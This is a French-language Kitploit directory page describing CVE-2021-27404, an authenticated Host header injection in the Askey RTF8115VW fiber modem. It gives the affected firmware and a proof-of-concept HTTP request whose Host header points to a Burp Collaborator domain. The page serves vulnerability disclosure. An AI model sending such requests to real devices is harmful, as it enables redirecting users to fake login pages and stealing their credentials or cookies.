Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-27404 — HostHeaderInjection-Askey | Kitploit
Outils/GitHubGitHub/bokanrb/cve-2021-27404
Analyse des VulnérabilitésExploitationExploitation d'Applications WebHameçonnageSécurité WebTests d'Intrusion
GitHubbokanrb/cve-2021-27404

CVE-2021-27404

HostHeaderInjection-Askey

Voir le dépôt
312il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Injection d'en-tête Host authentifiée - Modem fibre Internet Askey

Vendeur : Askey
Version logicielle : BR_SV_g11.11_RTF_TEF001_V6.54_V014
Modèle : RTF8115VW
En-tête vulnérable : Host
Non testé dans d'autres modèles/versions.

Impact : Un attaquant pourrait profiter de cette vulnérabilité pour rediriger l'utilisateur vers une fausse page de connexion afin d'extraire ses identifiants ou ses cookies.

La requête finale

root@kitploit:~
GET / HTTP/1.1
Host: kay4tb35bh55y38n8h4teim21t7jv8.burpcollaborator.net
Cookie: _httpdSessionId_=7924107467ea5838a196b65306ca7236
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/cgi-bin/te_logout.cgi
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate

Texte alternatif

Télécharger l’outil